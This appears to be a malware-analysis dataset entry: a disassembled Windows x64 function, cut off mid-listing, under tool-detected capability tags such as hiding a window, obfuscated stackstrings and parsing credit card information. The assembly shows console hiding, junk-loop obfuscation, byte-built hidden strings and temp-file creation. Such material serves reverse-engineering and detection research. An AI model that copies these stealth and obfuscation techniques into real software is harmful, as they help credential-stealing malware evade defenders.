Function at 0x1400b2dd0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get disk size
Hide graphical window
Parse credit card information
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
mov eax, 0x1d4c8
call fcn.1401086c0
sub rsp, rax
mov rax, qword [0x14024cc40]
xor rax, rsp
mov qword [rsp + 0x1d4b0], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x998], rax
xor edx, edx
mov rcx, qword [rsp + 0x998]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x19750]
mov rdi, rax
xor eax, eax
mov ecx, 0xbd0
rep stosb byte [rdi], al
mov dword [rsp + 0x1c4], 0
jmp 0x1400b2e58
mov eax, dword [rsp + 0x1c4]
inc eax
mov dword [rsp + 0x1c4], eax
movsxd rax, dword [rsp + 0x1c4]
cmp rax, 7
jae 0x1400b2ebd
mov dword [rsp + 0x1c8], 0
jmp 0x1400b2e83
mov eax, dword [rsp + 0x1c8]
inc eax
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 0x36
jge 0x1400b2ebb
movsxd rax, dword [rsp + 0x1c4]
imul rax, rax, 0x1b0
lea rax, [rsp + rax + 0x19750]
movsxd rcx, dword [rsp + 0x1c8]
movsd xmm0, qword [0x140124c28]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b2e73
jmp 0x1400b2e48
lea rax, [rsp + 0x1a320]
mov rdi, rax
xor eax, eax
mov ecx, 0xbd0
rep stosb byte [rdi], al
mov dword [rsp + 0x1cc], 0
jmp 0x1400b2eee
mov eax, dword [rsp + 0x1cc]
inc eax
mov dword [rsp + 0x1cc], eax
movsxd rax, dword [rsp + 0x1cc]
cmp rax, 7
jae 0x1400b2f53
mov dword [rsp + 0x1d0], 0
jmp 0x1400b2f19
mov eax, dword [rsp + 0x1d0]
inc eax
mov dword [rsp + 0x1d0], eax
cmp dword [rsp + 0x1d0], 0x36
jge 0x1400b2f51
movsxd rax, dword [rsp + 0x1cc]
imul rax, rax, 0x1b0
lea rax, [rsp + rax + 0x1a320]
movsxd rcx, dword [rsp + 0x1d0]
movsd xmm0, qword [0x1401248b0]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b2f09
jmp 0x1400b2ede
lea rax, [rsp + 0x1aef0]
mov rdi, rax
xor eax, eax
mov ecx, 0xbd0
rep stosb byte [rdi], al
mov dword [rsp + 0x1d4], 0
jmp 0x1400b2f84
mov eax, dword [rsp + 0x1d4]
inc eax
mov dword [rsp + 0x1d4], eax
movsxd rax, dword [rsp + 0x1d4]
cmp rax, 7
jae 0x1400b2fe9
mov dword [rsp + 0x1d8], 0
jmp 0x1400b2faf
mov eax, dword [rsp + 0x1d8]
inc eax
mov dword [rsp + 0x1d8], eax
cmp dword [rsp + 0x1d8], 0x36
jge 0x1400b2fe7
movsxd rax, dword [rsp + 0x1d4]
imul rax, rax, 0x1b0
lea rax, [rsp + rax + 0x1aef0]
movsxd rcx, dword [rsp + 0x1d8]
movsd xmm0, qword [0x140121eb8]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b2f9f
jmp 0x1400b2f74
lea rax, [rsp + 0xca]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0xca]
call fcn.1400bb5b0
mov rcx, rax
call fcn.14010e4a8
mov qword [rsp + 0xa20], rax
mov byte [rsp + 0x438], 1
mov byte [rsp + 0x20], 1
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400b30d8
mov dword [rsp + 0x1dc], 0x14316
mov dword [rsp + 0x464], 0
jmp 0x1400b305c
mov eax, dword [rsp + 0x464]
inc eax
mov dword [rsp + 0x464], eax
cmp dword [rsp + 0x464], 0x20
jge 0x1400b3086
cmp dword [rsp + 0x1dc], 0
jge 0x1400b3074
jmp 0x1400b3086
mov eax, dword [rsp + 0x1dc]
dec eax
mov dword [rsp + 0x1dc], eax
jmp 0x1400b304c
mov dword [rsp + 0x1dc], 0x2bd4a
mov dword [rsp + 0x468], 0
cmp dword [rsp + 0x468], 0x3f
jge 0x1400b30d8
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400b30b8
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400b30c1
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400b30c6
mov byte [rsp + 0x20], 0
mov eax, dword [rsp + 0x468]
inc eax
mov dword [rsp + 0x468], eax
jmp 0x1400b309c
mov byte [rsp + 0x439], 0
mov byte [rsp + 0x43a], 0
mov byte [rsp + 0x3e], 1
mov byte [rsp + 0xcb], 0
mov byte [rsp + 0x92], 1
movzx eax, byte [rsp + 0x3e]
test eax, eax
jne 0x1400b3126
movzx eax, byte [rsp + 0xcb]
test eax, eax
je 0x1400b31d2
movzx eax, byte [rsp + 0x92]
test eax, eax
je 0x1400b31d2
mov dword [rsp + 0x1e0], 0x7acd
mov dword [rsp + 0x46c], 0
jmp 0x1400b314e
mov eax, dword [rsp + 0x46c]
inc eax
mov dword [rsp + 0x46c], eax
cmp dword [rsp + 0x46c], 0x14
jge 0x1400b3178
cmp dword [rsp + 0x1e0], 0
jge 0x1400b3166
jmp 0x1400b3178
mov eax, dword [rsp + 0x1e0]
dec eax
mov dword [rsp + 0x1e0], eax
jmp 0x1400b313e
mov dword [rsp + 0x1e0], 0xaafaf
mov dword [rsp + 0x470], 0
cmp dword [rsp + 0x470], 0x28
jge 0x1400b31cd
movzx eax, byte [rsp + 0x92]
test eax, eax
je 0x1400b31ad
movzx eax, byte [rsp + 0x3e]
test eax, eax
jne 0x1400b31b6
movzx eax, byte [rsp + 0x3e]
test eax, eax
jne 0x1400b31bb
mov byte [rsp + 0x3e], 1
mov eax, dword [rsp + 0x470]
inc eax
mov dword [rsp + 0x470], eax
jmp 0x1400b318e
jmp 0x1400b5141
mov byte [rsp + 0x43b], 1
mov byte [rsp + 0x43c], 0
mov byte [rsp + 0x43d], 1
mov byte [rsp + 0x21], 1
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1400b32a5
mov dword [rsp + 0x1e4], 0xe765
mov dword [rsp + 0x474], 0
jmp 0x1400b3224
mov eax, dword [rsp + 0x474]
inc eax
mov dword [rsp + 0x474], eax
cmp dword [rsp + 0x474], 0x21
jge 0x1400b324e
cmp dword [rsp + 0x1e4], 0
jge 0x1400b323c
jmp 0x1400b324e
mov eax, dword [rsp + 0x1e4]
dec eax
mov dword [rsp + 0x1e4], eax
jmp 0x1400b3214
mov dword [rsp + 0x1e4], 0x1a5bd
mov dword [rsp + 0x478], 0
cmp dword [rsp + 0x478], 0x16
jge 0x1400b32a0
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x1400b3280
movzx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400b3289
movzx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400b328e
mov byte [rsp + 0x21], 1
mov eax, dword [rsp + 0x478]
inc eax
mov dword [rsp + 0x478], eax
jmp 0x1400b3264
jmp 0x1400b416e
mov byte [rsp + 0x43e], 0
mov byte [rsp + 0x3f], 0
mov byte [rsp + 0x93], 0
movzx eax, byte [rsp + 0x3f]
test eax, eax
je 0x1400b3383
movzx eax, byte [rsp + 0x93]
test eax, eax
je 0x1400b3383
mov dword [rsp + 0x1e8], 0xe782
mov dword [rsp + 0x47c], 0
jmp 0x1400b32ff
mov eax, dword [rsp + 0x47c]
inc eax
mov dword [rsp + 0x47c], eax
cmp dword [rsp + 0x47c], 0x1a
jge 0x1400b3329
cmp dword [rsp + 0x1e8], 0
jge 0x1400b3317
jmp 0x1400b3329
mov eax, dword [rsp + 0x1e8]
dec eax
mov dword [rsp + 0x1e8], eax
jmp 0x1400b32ef
mov dword [rsp + 0x1e8], 0x610c
mov dword [rsp + 0x480], 0
cmp dword [rsp + 0x480], 0x5b
jge 0x1400b337e
movzx eax, byte [rsp + 0x3f]
test eax, eax
je 0x1400b335b
movzx eax, byte [rsp + 0x3f]
test eax, eax
jne 0x1400b3367
movzx eax, byte [rsp + 0x93]
test eax, eax
jne 0x1400b336c
mov byte [rsp + 0x3f], 0
mov eax, dword [rsp + 0x480]
inc eax
mov dword [rsp + 0x480], eax
jmp 0x1400b333f
jmp 0x1400b3a9a
mov byte [rsp + 0x43f], 0
mov byte [rsp + 0x94], 0
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x94]
test eax, eax
jne 0x1400b33b1
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x1400b3458
mov dword [rsp + 0x1ec], 0x201f
mov dword [rsp + 0x484], 0
jmp 0x1400b33d9
mov eax, dword [rsp + 0x484]
inc eax
mov dword [rsp + 0x484], eax
cmp dword [rsp + 0x484], 0x1a
jge 0x1400b3403
cmp dword [rsp + 0x1ec], 0
jge 0x1400b33f1
jmp 0x1400b3403
mov eax, dword [rsp + 0x1ec]
dec eax
mov dword [rsp + 0x1ec], eax
jmp 0x1400b33c9
mov dword [rsp + 0x1ec], 0x48e37
mov dword [rsp + 0x488], 0
cmp dword [rsp + 0x488], 0x3e
jge 0x1400b3458
movzx eax, byte [rsp + 0x94]
test eax, eax
je 0x1400b3438
movzx eax, byte [rsp + 0x40]
test eax, eax
jne 0x1400b3441
movzx eax, byte [rsp + 0x40]
test eax, eax
jne 0x1400b3446
mov byte [rsp + 0x40], 0
mov eax, dword [rsp + 0x488]
inc eax
mov dword [rsp + 0x488], eax
jmp 0x1400b3419
mov byte [rsp + 0x440], 0
mov byte [rsp + 0x22], 0
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x1400b3516
mov dword [rsp + 0x1f0], 0xf9d9
mov dword [rsp + 0x48c], 0
jmp 0x1400b349a
mov eax, dword [rsp + 0x48c]
inc eax
mov dword [rsp + 0x48c], eax
cmp dword [rsp + 0x48c], 0xa
jge 0x1400b34c4
cmp dword [rsp + 0x1f0], 0
jge 0x1400b34b2
jmp 0x1400b34c4
mov eax, dword [rsp + 0x1f0]
dec eax
mov dword [rsp + 0x1f0], eax
jmp 0x1400b348a
mov dword [rsp + 0x1f0], 0xe140b
mov dword [rsp + 0x490], 0
cmp dword [rsp + 0x490], 0x24
jge 0x1400b3516
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x1400b34f6
movzx eax, byte [rsp + 0x22]
test eax, eax
jne 0x1400b34ff
movzx eax, byte [rsp + 0x22]
test eax, eax
jne 0x1400b3504
mov byte [rsp + 0x22], 1
mov eax, dword [rsp + 0x490]
inc eax
mov dword [rsp + 0x490], eax
jmp 0x1400b34da
mov byte [rsp + 0x441], 1
mov byte [rsp + 0x95], 1
mov byte [rsp + 0x56], 1
mov byte [rsp + 0x96], 1
movzx eax, byte [rsp + 0x95]
test eax, eax
je 0x1400b360a
movzx eax, byte [rsp + 0x56]
test eax, eax
je 0x1400b360a
movzx eax, byte [rsp + 0x96]
test eax, eax
je 0x1400b360a
mov dword [rsp + 0x1f4], 0x127af
mov dword [rsp + 0x494], 0
jmp 0x1400b3588
mov eax, dword [rsp + 0x494]
inc eax
mov dword [rsp + 0x494], eax
cmp dword [rsp + 0x494], 0x12
jge 0x1400b35b2
cmp dword [rsp + 0x1f4], 0
jge 0x1400b35a0
jmp 0x1400b35b2
mov eax, dword [rsp + 0x1f4]
dec eax
mov dword [rsp + 0x1f4], eax
jmp 0x1400b3578
mov dword [rsp + 0x1f4], 0xcb959
mov dword [rsp + 0x498], 0
cmp dword [rsp + 0x498], 0x2e
jge 0x1400b360a
movzx eax, byte [rsp + 0x56]
test eax, eax
je 0x1400b35e7
movzx eax, byte [rsp + 0x95]
test eax, eax
jne 0x1400b35f0
movzx eax, byte [rsp + 0x56]
test eax, eax
jne 0x1400b35f8
mov byte [rsp + 0x96], 1
mov eax, dword [rsp + 0x498]
inc eax
mov dword [rsp + 0x498], eax
jmp 0x1400b35c8
mov byte [rsp + 0x442], 1
mov byte [rsp + 0x41], 0
mov byte [rsp + 0x97], 1
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x1400b3638
movzx eax, byte [rsp + 0x97]
test eax, eax
je 0x1400b36e4
mov dword [rsp + 0x1f8], 0xc96a
mov dword [rsp + 0x49c], 0
jmp 0x1400b3660
mov eax, dword [rsp + 0x49c]
inc eax
mov dword [rsp + 0x49c], eax
cmp dword [rsp + 0x49c], 0x1c
jge 0x1400b368a
cmp dword [rsp + 0x1f8], 0
jge 0x1400b3678
jmp 0x1400b368a
mov eax, dword [rsp + 0x1f8]
dec eax
mov dword [rsp + 0x1f8], eax
jmp 0x1400b3650
mov dword [rsp + 0x1f8], 0x64bf0
mov dword [rsp + 0x4a0], 0
cmp dword [rsp + 0x4a0], 0x61
jge 0x1400b36df
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x1400b36bc
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x1400b36c8
movzx eax, byte [rsp + 0x97]
test eax, eax
jne 0x1400b36cd
mov byte [rsp + 0x41], 0
mov eax, dword [rsp + 0x4a0]
inc eax
mov dword [rsp + 0x4a0], eax
jmp 0x1400b36a0
jmp 0x1400b3833
mov dword [rsp + 0xdb0], 0x15179
mov dword [rsp + 0xdb4], 0xac3c
mov dword [rsp + 0xdb8], 0xce15
mov dword [rsp + 0xdbc], 0x9fd5
mov dword [rsp + 0xdc0], 0x35bd
mov dword [rsp + 0xdc4], 0xdb31
mov dword [rsp + 0xdc8], 0x12744
mov dword [rsp + 0xdcc], 0x17fb3
mov dword [rsp + 0xdd0], 0x1460f
mov dword [rsp + 0xdd4], 0xdc61
mov dword [rsp + 0xdd8], 0x9a0a
mov dword [rsp + 0xddc], 0x14863
mov dword [rsp + 0xde0], 0x999b
mov dword [rsp + 0xde4], 0x25f6
mov dword [rsp + 0xde8], 0xe9cf
mov dword [rsp + 0xdec], 0x111cb
mov dword [rsp + 0xdf0], 0x13f7
mov dword [rsp + 0x10c], 0
jmp 0x1400b37bc
mov eax, dword [rsp + 0x10c]
inc eax
mov dword [rsp + 0x10c], eax
movsxd rax, dword [rsp + 0x10c]
cmp rax, 0x11
jae 0x1400b37f5
movsxd rax, dword [rsp + 0x10c]
mov ecx, 0x11
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x10c]
mov eax, dword [rsp + rax*4 + 0xdb0]
mov dword [rsp + rcx*4 + 0xdb0], eax
jmp 0x1400b37ac
lea rax, [rsp + 0x1c828]
lea rcx, str.UCXjDGDjEn
mov rdi, rax
mov rsi, rcx
mov ecx, SafeArrayGetElement
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1ca50]
xor r8d, r8d
lea rdx, [rsp + 0x1c828]
lea rcx, [rsp + 0x1cc60]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
nop
mov byte [rsp + 0x443], 0
mov byte [rsp + 0x444], 1
mov byte [rsp + 0x445], 1
mov byte [rsp + 0x23], 0
movzx eax, byte [rsp + 0x23]
test eax, eax
je 0x1400b3901
mov dword [rsp + 0x1fc], 0xef48
mov dword [rsp + 0x4a4], 0
jmp 0x1400b3885
mov eax, dword [rsp + 0x4a4]
inc eax
mov dword [rsp + 0x4a4], eax
cmp dword [rsp + 0x4a4], 0x30
jge 0x1400b38af
cmp dword [rsp + 0x1fc], 0
jge 0x1400b389d
jmp 0x1400b38af
mov eax, dword [rsp + 0x1fc]
dec eax
mov dword [rsp + 0x1fc], eax
jmp 0x1400b3875
mov dword [rsp + 0x1fc], 0xb1e0e
mov dword [rsp + 0x4a8], 0
cmp dword [rsp + 0x4a8], 7
jge 0x1400b3901
movzx eax, byte [rsp + 0x23]
test eax, eax
je 0x1400b38e1
movzx eax, byte [rsp + 0x23]
test eax, eax
jne 0x1400b38ea
movzx eax, byte [rsp + 0x23]
test eax, eax
jne 0x1400b38ef
mov byte [rsp + 0x23], 0
mov eax, dword [rsp + 0x4a8]
inc eax
mov dword [rsp + 0x4a8], eax
jmp 0x1400b38c5
mov byte [rsp + 0x446], 1
mov byte [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x1400b39c4
mov dword [rsp + 0x200], 0xc278
mov dword [rsp + 0x4ac], 0
jmp 0x1400b3943
mov eax, dword [rsp + 0x4ac]
inc eax
mov dword [rsp + 0x4ac], eax
cmp dword [rsp + 0x4ac], 0x30
jge 0x1400b396d
cmp dword [rsp + 0x200], 0
jge 0x1400b395b
jmp 0x1400b396d
mov eax, dword [rsp + 0x200]
dec eax
mov dword [rsp + 0x200], eax
jmp 0x1400b3933
mov dword [rsp + 0x200], 0x1c5af
mov dword [rsp + 0x4b0], 0
cmp dword [rsp + 0x4b0], 0x57
jge 0x1400b39bf
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x1400b399f
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x1400b39a8
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x1400b39ad
mov byte [rsp + 0x24], 0
mov eax, dword [rsp + 0x4b0]
inc eax
mov dword [rsp + 0x4b0], eax
jmp 0x1400b3983
jmp 0x1400b3a9a
mov byte [rsp + 0x1c7e0], 0x77
mov byte [rsp + 0x1c7e1], 0x37
mov byte [rsp + 0x1c7e2], 0x46
mov byte [rsp + 0x1c7e3], 0x51
mov byte [rsp + 0x1c7e4], 0x6d
mov byte [rsp + 0x1c7e5], 0x44
mov byte [rsp + 0x1c7e6], 0x6a
mov byte [rsp + 0x1c7e7], 0x45
mov byte [rsp + 0x1c7e8], 0x4f
mov byte [rsp + 0x1c7e9], 0x57
mov byte [rsp + 0x1c7ea], 0x59
mov byte [rsp + 0x1c7eb], 0x72
mov byte [rsp + 0x1c7ec], 0x50
mov byte [rsp + 0x1c7ed], 0x49
mov byte [rsp + 0x1c7ee], 0x42
mov byte [rsp + 0x1c7ef], 0x5a
mov byte [rsp + 0x1c7f0], 0x4c
mov byte [rsp + 0x1c7f1], 0x42
mov byte [rsp + 0x1c7f2], 0x51
lea rax, [rsp + 0x1c7f8]
lea rcx, str.rVVMAdhrZD
mov rdi, rax
mov rsi, rcx
mov ecx, SafeArrayGetElement
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1ce70]
xor r8d, r8d
lea rdx, [rsp + 0x1c7f8]
lea rcx, [rsp + 0x1d080]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
nop
mov byte [rsp + 0x447], 0
mov byte [rsp + 0x448], 1
mov byte [rsp + 0x99], 1
mov byte [rsp + 0x98], 1
mov byte [rsp + 0x57], 0
movzx eax, byte [rsp + 0x99]
test eax, eax
je 0x1400b3ad7
movzx eax, byte [rsp + 0x98]
test eax, eax
jne 0x1400b3ae4
movzx eax, byte [rsp + 0x57]
test eax, eax
je 0x1400b3b93
mov dword [rsp + 0x204], 0x7de9
mov dword [rsp + 0x4b4], 0
jmp 0x1400b3b0c
mov eax, dword [rsp + 0x4b4]
inc eax
mov dword [rsp + 0x4b4], eax
cmp dword [rsp + 0x4b4], 0x12
jge 0x1400b3b36
cmp dword [rsp + 0x204], 0
jge 0x1400b3b24
jmp 0x1400b3b36
mov eax, dword [rsp + 0x204]
dec eax
mov dword [rsp + 0x204], eax
jmp 0x1400b3afc
mov dword [rsp + 0x204], 0xd83b1
mov dword [rsp + 0x4b8], 0
cmp dword [rsp + 0x4b8], 0x36
jge 0x1400b3b8e
movzx eax, byte [rsp + 0x57]
test eax, eax
je 0x1400b3b68
movzx eax, byte [rsp + 0x57]
test eax, eax
jne 0x1400b3b74
movzx eax, byte [rsp + 0x98]
test eax, eax
jne 0x1400b3b7c
mov byte [rsp + 0x99], 0
mov eax, dword [rsp + 0x4b8]
inc eax
mov dword [rsp + 0x4b8], eax
jmp 0x1400b3b4c
jmp 0x1400b3d64
mov byte [rsp + 0x1c780], 0x7a
mov byte [rsp + 0x1c781], 0x35
mov byte [rsp + 0x1c782], 0x54
mov byte [rsp + 0x1c783], 0x49
mov byte [rsp + 0x1c784], 0x62
mov byte [rsp + 0x1c785], 0x71
mov byte [rsp + 0x1c786], 0x36
mov byte [rsp + 0x1c787], 0x50
mov byte [rsp + 0x1c788], 0x6b
mov byte [rsp + 0x1c789], 0x35
mov byte [rsp + 0x1c78a], 0x7a
mov byte [rsp + 0x1c78b], 0x59
mov dword [rsp + 0x7e0], 0xc
lea rcx, [rsp + 0x449]
call fcn.1400bc340
movsxd rcx, dword [rsp + 0x7e0]
lea rcx, [rsp + rcx + 0x1c780]
mov r9, rax
mov r8, rcx
lea rdx, [rsp + 0x1c780]
lea rcx, [rsp + 0xb70]
call fcn.1400bbb60
nop
lea rdx, [rsp + 0x9a8]
lea rcx, [rsp + 0xb70]
call fcn.140106f90
lea rdx, [rsp + 0x9a0]
lea rcx, [rsp + 0xb70]
call fcn.140106fc0
nop
xor r8d, r8d
lea rdx, [rsp + 0xc48]
lea rcx, [rsp + 0x9a0]
call fcn.1400bdcd0
mov qword [rsp + 0x9b0], rax
mov r8d, 4
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0x9a8]
call fcn.1400bdd20
mov rcx, qword [rsp + 0x9b0]
mov r9, qword [rcx]
mov r8, qword [rax]
lea rdx, [rsp + 0xba0]
lea rcx, [rsp + 0xb70]
call fcn.140107a90
nop
lea rcx, [rsp + 0x1c780]
call fcn.1401104b0
mov qword [rsp + 0x9b8], rax
mov rcx, qword [rsp + 0x9b8]
call fcn.14010830c
mov qword [rsp + 0x9c0], rax
mov rax, qword [rsp + 0x9c0]
mov qword [rsp + 0x9c8], rax
mov dword [rsp + 0x110], 0
jmp 0x1400b3d18
mov eax, dword [rsp + 0x110]
inc eax
mov dword [rsp + 0x110], eax
movsxd rax, dword [rsp + 0x110]
cmp rax, 0xc
jae 0x1400b3d56
movsxd rax, dword [rsp + 0x110]
mov ecx, SafeArrayDestroy
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x110]
mov rdx, qword [rsp + 0x9c8]
movzx eax, byte [rsp + rax + 0x1c780]
mov byte [rdx + rcx], al
jmp 0x1400b3d08
lea rcx, [rsp + 0xb70]
call fcn.1400bdb50
nop
mov byte [rsp + 0x44a], 0
mov byte [rsp + 0x59], 0
mov byte [rsp + 0x58], 1
movzx eax, byte [rsp + 0x59]
test eax, eax
jne 0x1400b3d8c
movzx eax, byte [rsp + 0x58]
test eax, eax
je 0x1400b3e30
mov dword [rsp + 0x208], 0xf096
mov dword [rsp + 0x4bc], 0
jmp 0x1400b3db4
mov eax, dword [rsp + 0x4bc]
inc eax
mov dword [rsp + 0x4bc], eax
cmp dword [rsp + 0x4bc], 0x2f
jge 0x1400b3dde
cmp dword [rsp + 0x208], 0
jge 0x1400b3dcc
jmp 0x1400b3dde
mov eax, dword [rsp + 0x208]
dec eax
mov dword [rsp + 0x208], eax
jmp 0x1400b3da4
mov dword [rsp + 0x208], 0x3faad
mov dword [rsp + 0x4c0], 0
cmp dword [rsp + 0x4c0], 0x20
jge 0x1400b3e30
movzx eax, byte [rsp + 0x58]
test eax, eax
je 0x1400b3e10
movzx eax, byte [rsp + 0x58]
test eax, eax
jne 0x1400b3e19
movzx eax, byte [rsp + 0x59]
test eax, eax
jne 0x1400b3e1e
mov byte [rsp + 0x59], 0
mov eax, dword [rsp + 0x4c0]
inc eax
mov dword [rsp + 0x4c0], eax
jmp 0x1400b3df4
mov byte [rsp + 0x44b], 1
mov byte [rsp + 0x25], 1
movzx eax, byte [rsp + 0x25]
test eax, eax
je 0x1400b3eee
mov dword [rsp + 0x20c], 0xbd9
mov dword [rsp + 0x4c4], 0
jmp 0x1400b3e72
mov eax, dword [rsp + 0x4c4]
inc eax
mov dword [rsp + 0x4c4], eax
cmp dword [rsp + 0x4c4], 0x21
jge 0x1400b3e9c
cmp dword [rsp + 0x20c], 0
jge 0x1400b3e8a
jmp 0x1400b3e9c
mov eax, dword [rsp + 0x20c]
dec eax
mov dword [rsp + 0x20c], eax
jmp 0x1400b3e62
mov dword [rsp + 0x20c], 0xd259c
mov dword [rsp + 0x4c8], 0
cmp dword [rsp + 0x4c8], 0x2b
jge 0x1400b3eee
movzx eax, byte [rsp + 0x25]
test eax, eax
je 0x1400b3ece
movzx eax, byte [rsp + 0x25]
test eax, eax
jne 0x1400b3ed7
movzx eax, byte [rsp + 0x25]
test eax, eax
jne 0x1400b3edc
mov byte [rsp + 0x25], 0
mov eax, dword [rsp + 0x4c8]
inc eax
mov dword [rsp + 0x4c8], eax
jmp 0x1400b3eb2
mov byte [rsp + 0x44c], 0
mov byte [rsp + 0x44d], 1
mov byte [rsp + 0x44e], 1
mov byte [rsp + 0x26], 1
movzx eax, byte [rsp + 0x26]
test eax, eax
je 0x1400b3fc1
mov dword [rsp + 0x210], 0x3abd
mov dword [rsp + 0x4cc], 0
jmp 0x1400b3f40
mov eax, dword [rsp + 0x4cc]
inc eax
mov dword [rsp + 0x4cc], eax
cmp dword [rsp + 0x4cc], 0x16
jge 0x1400b3f6a
cmp dword [rsp + 0x210], 0
jge 0x1400b3f58
jmp 0x1400b3f6a
mov eax, dword [rsp + 0x210]
dec eax
mov dword [rsp + 0x210], eax
jmp 0x1400b3f30
mov dword [rsp + 0x210], 0x7798b
mov dword [rsp + 0x4d0], 0
cmp dword [rsp + 0x4d0], 0x17
jge 0x1400b3fbc
movzx eax, byte [rsp + 0x26]
test eax, eax
je 0x1400b3f9c
movzx eax, byte [rsp + 0x26]
test eax, eax
jne 0x1400b3fa5
movzx eax, byte [rsp + 0x26]
test eax, eax
jne 0x1400b3faa
mov byte [rsp + 0x26], 1
mov eax, dword [rsp + 0x4d0]
inc eax
mov dword [rsp + 0x4d0], eax
jmp 0x1400b3f80
jmp 0x1400b416e
mov qword [rsp + 0x7b8], 0x1c31
mov dword [rsp + 0x910], 0x257e
mov eax, 0x236
cqo
idiv qword [rsp + 0x7b8]
cqo
mov ecx, 0x15f7
idiv rcx
mov qword [rsp + 0x9d0], rax
mov rax, qword [rsp + 0x7b8]
cqo
mov ecx, 0x1a6a
idiv rcx
cqo
idiv qword [rsp + 0x7b8]
mov rcx, qword [rsp + 0x9d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d8], rax
mov rax, qword [rsp + 0x7b8]
cqo
mov ecx, 0x217
idiv rcx
mov rcx, qword [rsp + 0x9d8]
lea rax, [rcx + rax - 0x25ca]
mov dword [rsp + 0x914], eax
mov dword [rsp + 0x780], 0xe14
mov qword [rsp + 0x9e0], 0x38d
mov eax, dword [rsp + 0x780]
cdq
mov ecx, 0x253e
idiv ecx
cdq
idiv dword [rsp + 0x780]
cdq
mov ecx, 0x7bf
idiv ecx
cdqe
cqo
idiv qword [rsp + 0x9e0]
add rax, 0x10e6
mov dword [rsp + 0x918], eax
mov qword [rsp + 0x7c0], 0x1a8
mov qword [rsp + 0xba8], 0x822
mov eax, 0x7e2
sub rax, qword [rsp + 0x7c0]
mov qword [rsp + 0x9e8], rax
mov eax, 0xbd4
cqo
idiv qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x9e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c0]
lea rax, [rax + rcx - 0x1b89]
sub rax, qword [rsp + 0x7c0]
add rax, 0x214
mov qword [rsp + 0xbb0], rax
mov dword [rsp + 0x7e4], 0xdcd
mov dword [rsp + 0x784], 0x63a
mov eax, 0x2636
sub eax, dword [rsp + 0x7e4]
add eax, 0xe33
mov dword [rsp + 0x7e8], eax
mov eax, dword [rsp + 0x784]
cdq
mov ecx, 0x323
idiv ecx
mov ecx, dword [rsp + 0x7e8]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x784]
sub eax, 0x7ba
mov dword [rsp + 0x91c], eax
mov byte [rsp + 0x44f], 0
mov byte [rsp + 0xcc], 0
mov byte [rsp + 0x5b], 0
mov byte [rsp + 0x5a], 1
mov byte [rsp + 0xcd], 1
movzx eax, byte [rsp + 0xcc]
test eax, eax
je 0x1400b41a5
movzx eax, byte [rsp + 0x5b]
test eax, eax
jne 0x1400b41c2
movzx eax, byte [rsp + 0x5a]
test eax, eax
je 0x1400b426b
movzx eax, byte [rsp + 0xcd]
test eax, eax
je 0x1400b426b
mov dword [rsp + 0x214], 0xd960
mov dword [rsp + 0x4d4], 0
jmp 0x1400b41ea
mov eax, dword [rsp + 0x4d4]
inc eax
mov dword [rsp + 0x4d4], eax
cmp dword [rsp + 0x4d4], 0xc
jge 0x1400b4214
cmp dword [rsp + 0x214], 0
jge 0x1400b4202
jmp 0x1400b4214
mov eax, dword [rsp + 0x214]
dec eax
mov dword [rsp + 0x214], eax
jmp 0x1400b41da
mov dword [rsp + 0x214], 0x1a1b9
mov dword [rsp + 0x4d8], 0
cmp dword [rsp + 0x4d8], 0x46
jge 0x1400b4266
movzx eax, byte [rsp + 0x5b]
test eax, eax
je 0x1400b4246
movzx eax, byte [rsp + 0x5a]
test eax, eax
jne 0x1400b424f
movzx eax, byte [rsp + 0x5a]
test eax, eax
jne 0x1400b4254
mov byte [rsp + 0x5b], 1
mov eax, dword [rsp + 0x4d8]
inc eax
mov dword [rsp + 0x4d8], eax
jmp 0x1400b422a
jmp 0x1400b4370
mov byte [rsp + 0x1c7c0], 0x48
mov byte [rsp + 0x1c7c1], 0x6c
mov byte [rsp + 0x1c7c2], 0x6d
mov byte [rsp + 0x1c7c3], 0x6f
mov byte [rsp + 0x1c7c4], 0x78
mov byte [rsp + 0x1c7c5], 0x74
mov byte [rsp + 0x1c7c6], 0x51
mov byte [rsp + 0x1c7c7], 0x6e
mov byte [rsp + 0x1c7c8], 0x56
